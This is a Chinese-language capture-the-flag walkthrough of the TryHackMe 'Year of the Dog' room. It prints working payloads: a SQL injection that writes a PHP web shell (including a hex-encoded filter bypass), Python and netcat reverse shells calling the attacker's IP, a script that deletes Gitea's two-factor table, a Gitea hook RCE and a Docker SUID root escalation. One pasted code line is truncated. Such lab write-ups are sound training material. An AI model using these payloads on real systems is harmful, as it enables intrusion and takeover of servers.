Year of the Dog on TryHackMe

Before all

差Jellyfish就可以把year of系列打完ㄌ

Attacker’s IP : 10.9.195.189
Victim’s IP : 10.10.178.204

Write up

RECON

port scan

Command

1
rustscan -a 10.10.178.204 --ulimit 5000 -- -sC -sV -Pn

image
標準的ssh+http service

Exploit

SQL Injection to RCE

進到網站後他會給一個cookie,key是id,然後是根據那個顯示你在queue裡面ㄉnumber
試試看 SQLi >w<
image
欸可以欸,調整一下payload去寫檔:

1
' UNION SELECT 1, "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/exploit.php' -- -

然後就跳出RCE Attempted警告ㄌ…
換成hex試著繞:

1
' UNION SELECT 1, unhex('3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E') INTO OUTFILE '/var/www/html/exploit.php' -- -

成功get shell!!!
image
彈reverse shell回本地:
https://10.10.178.204/exploit.php?cmd=export%20RHOST=%2210.9.195.189%22;export%20RPORT=9999;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27

Privilege Escalation

www-data to dylan

透過列舉home找到dylan這個user,切進去
ls 一下找到 work_analysis,cat出來是很大一份ssh log檔(??)
image

嘗試grep dylan相關的資訊:
cat work_analysis | grep dylan
image
成功找到密碼:Labr4d0rs4L1f3

Gitea Exploitation

逛了一圈先ss -tulnp看了一下有哪些service
image
發現端口3000有開,curl下去:
image
看的出來是一個Gitea Service
聽說過Gitea有蠻多問題,利用ssh port forward出來

1
ssh -L 3000:localhost:3000 dylan@10.10.178.204

可以在自己的localhost:3000造訪了,先用剛剛ssh的密碼password reuse,發現可以登入,但是需要2fa…
在主機跟目錄有個/gitea的路徑,進去之後再切到裡面的/gitea路徑,應該就是Gitea的source fileㄌ,其中有個./gitea.db的資料庫,這邊使用最簡單暴力的方法處理:
python打開,將two_factor table直接刪除

1
2
3
4
5
6
7
from sqlite3 import *
conn=connect('./gitea.db')
cursor=conn.cursor()
cursor.execute('SELECT name FROM sqlite_master WHERE type="table";')
cursor.execute('SELECT name FROM sqlite_master WHERE
cursor.execute('DELETE FROM two_factor;')
conn.commit()

接著就登入Gitea啦~
image
參考CVE-2020-14144,在Gitea中,可以到Setting/Hooks去撰寫一些腳本讓repo在觸發特定行為(如 pull上去)時被執行,也就RCEㄌ(但是看了下這台Gitea版本是1.13.0,理論上不能打(?),不過試成功了)
彈回port 9999ㄅ

1
2
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.9.195.189 9999 >/tmp/f

Docker Mirror Abuse

image
sudo -l 一下發現自己已經是root,逛了一圈發現自己在Docker裡面,然後/data是映射到主機/gitea的,所以在Docker把主機的/bin/bash下載下來(本機開http server),然後用chmod切suid,搬到Docker的gitea,最後到主機 ./bash -p 就rootㄌ
主機:

1
2
cd /bin
python3 -m http.server 8080

Docker:

1
2
3
wget localhost:8080/bash
chmod 4755 bash
mv bash /data

主機:

1
2
cd gitea
./bash -p

image

rooted!